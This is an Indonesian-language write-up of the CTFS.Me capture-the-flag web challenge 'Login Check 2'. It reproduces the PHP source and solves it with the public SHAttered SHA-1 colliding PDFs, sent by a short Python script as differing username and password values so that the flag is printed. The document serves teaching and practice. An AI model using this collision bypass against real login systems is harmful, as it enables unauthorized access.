CTFS.Me Write UP Login Check 2 [Easy]


Assalamualaikum Wr.Wb...
dengan diberikan nikmat dan rezeki dari Allah SWT, saya Mr.GagalTotal666 akan
sedikit berbagi kepada anda tentang soal CTF Login Check 2.

contoh soal dan kategori soal

[+] link soal : [http://128.199.190.190:1332/login_check2/]
[+] kategori : Website
[+] judul : Login Check 2
[+] point : 80
[+] level : Easy [Mudah]
Are This MORE SECURE?? Login check2
buka dan menuju login check 2
setelah itu akan ada menu tampilan login seperti ini


mungkin bagi anda yang masih awam atau newbie sama seperti saya ini, pasti kebingungan
setelah melihat tampilan awal cuma menu login dan tidak ada langkah-langkah nya harus
di apakan, nah anda cukup klik nama login check 2 yang terdapat di atas menu login
dibagian tersebut ada cara yang harus anda berfikir keras dan menemukan bagaimana
mencari login masuk dan mendapatkan flag


<html>
<head>
<title>Login Check 2</title>
    <link rel='stylesheet' href='style.css' type='text/css'>
</head>
<body>

<?php
require 'flag.php';

if (isset($_GET['username']) and isset($_GET['password'])) {
    if ($_GET['username'] == $_GET['password'])
        print '<p class="alert">Your password cannot be your usernname</p>';
    else if (sha1($_GET['username']) === sha1($_GET['password']))
      die('Flag: '.$flag);
    else
        print '<p class="alert">Wrong password.</p>';
}
?>

<section class="login">
<div class="title">
<a href="./index.txt">Login Check 2</a>
</div>

<form method="get">
<input type="text" required name="username" placeholder="Username"/><br/>
<input type="password" required name="password" placeholder="Password" /><br/>
<input type="submit"/>
</form>
</section>
</body>
</html>

lihat baik-baik di bagian line ini

<?php
require 'flag.php';

if (isset($_GET['username']) and isset($_GET['password'])) {
    if ($_GET['username'] == $_GET['password'])
        print '<p class="alert">Your password cannot be your usernname</p>';
    else if (sha1($_GET['username']) === sha1($_GET['password']))
      die('Flag: '.$flag);
    else
        print '<p class="alert">Wrong password.</p>';
}
?>

password yang di SHA1 Decrypt

jika tidak (sha1  $_GET[username]) maka flag di temukan

else if (sha1($_GET['username']) === sha1($_GET['password']))
      die('Flag: '.$flag);

sebenarnya cara ini dimudahkan nya dengan upload suatu format pdf 2 kali,
hampir memungkinkan untuk membuat dua file PDF bertabrakan dan mendapatkan
tanda tangan digital SHA-1 pada file PDF pertama yang juga dapat disalah gunakan
sebagai tanda tangan yang sah pada file PDF kedua.

Dua file PDF yang berbeda dengan checksum yang sama tersedia di sini

[http://shattered.io/static/shattered-1.pdf]
[http://shattered.io/static/shattered-2.pdf]

langsung saya membuat suatu script dari bahasa python dan script ini mengambil nilai dari pdf pertama sebagai parameter "name" dan pdf kedua sebagai parameter "password"

#!/usr/bin/env python
import requests
import urllib2
admin = urllib2.urlopen("http://shattered.io/static/shattered-1.pdf").read()[:500];
gagaltotal= urllib2.urlopen("http://shattered.io/static/shattered-2.pdf").read()[:500];

r = requests.get('http://128.199.190.190:1332/login_check2/', params={'username': admin, 'password': gagaltotal});
print r.text


save dan kemudian jalankan seperti ini
$ python (script python)
$ python gagaltotal1.py
atau bisa juga seperti ini
$ chmod +x (nama script python)
$ chmod +x gagaltotal1.py
$ ./gagaltotal1.py 

Flag ditemukan !!

mungkin itu saja mengenai soal CTF yaitu login check 2
sekian dan semoga bermanfaat bagi anda semua

Wassalamualaikum Wr.Wb...
Previous
Next Post »